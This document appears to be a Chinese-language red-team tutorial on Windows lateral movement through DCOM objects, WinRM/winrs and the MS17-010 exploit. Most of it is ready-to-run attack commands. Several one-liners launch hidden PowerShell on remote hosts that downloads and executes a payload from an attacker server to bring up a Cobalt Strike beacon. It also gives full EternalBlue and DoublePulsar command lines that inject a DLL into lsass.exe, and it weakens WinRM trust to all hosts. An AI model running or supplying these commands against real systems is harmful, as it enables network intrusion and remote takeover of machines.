1.MMC20.Application远程执行命令
2.ShellWindows远程执行命令
3.ShellBrowserWindow远程执行命令
4.WinRM远程执行命令横向移动
5.使用系统漏洞ms17010横向移动
DCOM:
DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。它支持不同的两台机器上的组件间的通信,不论它们是运行在局域网、广域网、还是Internet上。利用这个接口,客户端程序对象能够向网络中另一台计算机上的服务器程序对象发送请求,使用DCOM进行横向移动的优势之一在于,在远程主机上执行的进程将会是托管COM服务器端的软件
获取DCOM列表:
Get-CimInstance Win32_DCOMApplication
Get-CimInstance -classWin32_DCOMApplication | select appid,name
Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_DCOMApplication
实验前提:
1.关闭防火墙
2.必须有管理员权限
3.在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户
MMC20.Application远程执行命令:
本地实验:
1.通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例
powershell $com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1"))
2.然后执行如下命令,我们就可以调用"ExecuteShellCommand"方法在远程主机上启动进程,比如我们打开计算器
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c calc.exe","Minimzed")
目标:从146上线到147
利用:
1.通过PowerShell与DCOM进行远程交互,此外,我们只需要提供一个DCOM ProgID和一个IP地址,然后,它就从远程返回一个COM对象的实例:
powershell $com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.11.147"))
2.远程下载恶意程序上线:
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","127.0.0.1")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.11.128:9988/payload.ps1'))","Minimzed")
3.上线:
ShellWindows远程执行命令:效果一样(自带):
1.远程执行
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.11.147")).item().Document.Application.ShellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.11.128:9988/payload.ps1'))","c:windowssystem32",$null,0)
2.上线
ShellBrowserWindow远程执行命令:
适用于WINDOWS10,Windows server 2012 R2
1.远程执行
[activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","192.168.11.147")).Document.Application.shellExecute("cmd.exe","/c powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.11.128:9988/payload.ps1'))","c:windowssystem32",$null,0)
2.上线
WinRM远程执行命令横向移动:
它使系统可以跨通用网络访问或交换管理信息,winrm通过HTTP(5985)或HTTPS SOAP(5986)端口来进行通信,说白了,就是用于远程访问的
Winrs.exe:
是一个内置的命令行工具它允许远程命令的执行在WinRm的适当的有资格的用户
命令:
winrs -r:http://127.0.0.1:5985 -u:administrator -p:Admin@123 "whoami"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {GetCulture}
利用:
1.远程查看目标机器
winrs -r:http://192.168.11.147:5985 -u:administrator -p:Qq123456 "whoami"
注意,如果出现未经过的身份验证,输入:
winrm set winrm/config/Client @{TrustedHosts="*"}
2.如果开放了5985端口,那么我们上线CS
winrs -r:http://192.168.11.147:5985 -u:administrator -p:Qq123456 cmd.exe /c "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.11.128:9988/payload.ps1'))"
或者CS一键上线,但是需要域管账号密码
使用系统漏洞ms17010横向移动
适用于WIN7
1、生成 CS的生成 DLL文件:生成以后放到工具里面一起传到目标机器上
2.打开CS,切换到工具目录,生成后门
Eternalblue-2.2.0.exe --TargetIp 192.168.11.129 --Target WIN72K8R2 --DaveProxyPort=0 --NetworkTimeout 60 --TargetPort 445 --VerifyTarget True --VerifyBackdoor True --MaxExploitAttempts 3 --GroomAllocations 12 --OutConfig outlog.txt
3.上线CS:
Doublepulsar-1.3.1.exe --InConfig Doublepulsar-1.3.1.xml --TargetIp 192.168.11.129 --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload 123.dll --payloadDllOrdinal 1 --ProcessName lsass.exe --ProcessCommandLine "" --NetworkTimeout 60
4.上线: